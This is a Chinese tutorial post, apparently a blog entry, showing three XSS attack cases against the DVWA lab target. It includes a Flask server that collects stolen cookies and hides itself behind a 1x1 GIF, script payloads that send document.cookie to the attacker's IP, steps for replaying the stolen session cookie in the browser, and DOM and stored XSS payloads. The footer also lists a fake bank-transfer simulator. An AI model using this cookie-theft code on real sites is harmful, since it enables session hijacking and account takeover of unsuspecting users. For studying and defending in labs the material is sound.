3种XSS攻击简单案例

1、接收cookie端攻击机上用python写个接收web程序flask

python 复制代码
from flask import Flask, request, Response

app = Flask(__name__)

@app.route('/')
def save_cookie():
    cookie = request.args.get('cookie', '')
    if cookie:
        with open('/root/cookies.txt', 'a') as f:
            f.write(f"{cookie}\n")
    
    # 返回1x1透明GIF(避免被用户察觉)
    return Response(b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;',  mimetype='image/gif')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

2、dvwa靶机上进行xss测试(3种方法)

php 复制代码
<script>document.location='http://192.168.168.130/?cookie='+document.cookie;</script>
<script>fetch('http://192.168.168.130/?cookie=' + document.cookie);</script>

3、把获取的cookie中最后一个等号后面的是cookie值,打开火狐按F12,点击存储store,把获取的cookie值替换进去,就能直接打开不用账户密码了

???

dvwa中DOM型注入(直接在xss的dom网址上改后面的default=就能获取cookie)

php 复制代码
http://192.168.168.133/dvwa-master/vulnerabilities/xss_d/?default=<script>alert(document.cookie);</script>

???

dvwa中存储型注入(先按F12把name表单长度改长一点)

name中输入:

php 复制代码
<script>alert(document.cookie);</script>

message中随便输入:Payload

以后每次打开这个存储型页面就会弹cookie出来

相关推荐
云枫晖1 分钟前
JS核心知识-对象继承
前端·javascript
w重名了1098822 分钟前
记录一次gnvm切换node版本显示内存溢出的报错
前端·node.js
我是天龙_绍3 分钟前
经常写CSS难的复杂的就害怕,不用怕,谈 渐变 不色变
前端
用户2519162427114 分钟前
Node之EventEmitter
前端·javascript·node.js
鹏多多11 分钟前
flutter-详解控制组件显示的两种方式Offstage与Visibility
前端·flutter
用户72362373705811 分钟前
农业银行转账模拟器, 银行卡余额模拟器,jar最新逆向插件开源
前端
小岛前端14 分钟前
sass-embedded:高性能版的 Sass
前端·vue.js
天蓝色的鱼鱼26 分钟前
Vue Router 动态路由完全指南:灵活掌控前端路由
前端·vue.js
β添砖java33 分钟前
CSS定位布局
前端·css·html
whysqwhw40 分钟前
整个 KMP 的日期时间工具
前端